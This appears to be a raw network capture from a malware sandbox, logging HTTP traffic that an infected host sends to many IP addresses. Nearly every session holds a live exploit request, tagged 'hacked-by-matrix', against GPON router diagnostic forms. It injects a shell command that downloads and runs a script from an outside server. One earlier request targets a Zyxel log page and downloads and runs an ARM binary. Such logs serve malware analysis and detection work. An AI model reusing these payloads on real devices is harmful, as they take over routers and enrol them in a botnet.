Mar 2, 2024 12:37:44.628618002 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:44 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.23	42738	213.188.214.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:44.730048895 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:44.977428913 CET	297	IN	HTTP/1.1 404 Not Found content-type: text/plain date: Sat, 02 Mar 2024 11:37:44 GMT content-encoding: gzip transfer-encoding: chunked server: Fly/8f449382 (2024-03-01) via: 1.1 fly.io fly-request-id: 01HQZF9BJD747P777DFYPGEMV9-lga Data Raw: 32 36 0d 0a 1f 8b 08 00 00 00 00 00 04 ff 33 31 30 51 28 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b 01 00 e9 59 1b 94 12 00 00 00 0d 0a Data Ascii: 26310Q(HLOU/QH/KY
Mar 2, 2024 12:37:44.977524996 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 2, 2024 12:37:44.977560997 CET	96	IN	HTTP/1.1 400 Bad Request content-length: 0 date: Sat, 02 Mar 2024 11:37:44 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.23	42454	210.248.210.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.034969091 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.23	47574	42.209.152.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.034995079 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.23	41176	5.214.240.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035006046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.23	57344	210.221.137.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035042048 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.23	41202	5.208.217.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035069942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.23	36992	94.114.134.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035069942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.23	41402	210.249.28.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035094023 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.23	53564	212.16.68.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035105944 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.23	58628	109.185.116.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035135984 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.23	39668	118.4.5.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035145998 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.23	41466	42.125.246.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035162926 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.23	35398	2.174.168.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035186052 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.23	44986	5.20.253.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035226107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.23	45128	42.19.148.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035264015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.23	52062	79.85.239.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035264015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.23	41714	37.212.158.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035295963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.23	47388	42.8.115.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035321951 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.23	59572	79.153.62.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035336018 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.23	42282	42.22.173.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035350084 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.23	43658	42.56.181.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035366058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.23	40732	79.240.190.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:45.035489082 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.23	34526	94.250.220.49	443

Timestamp	Bytes transferred	Direction	Data
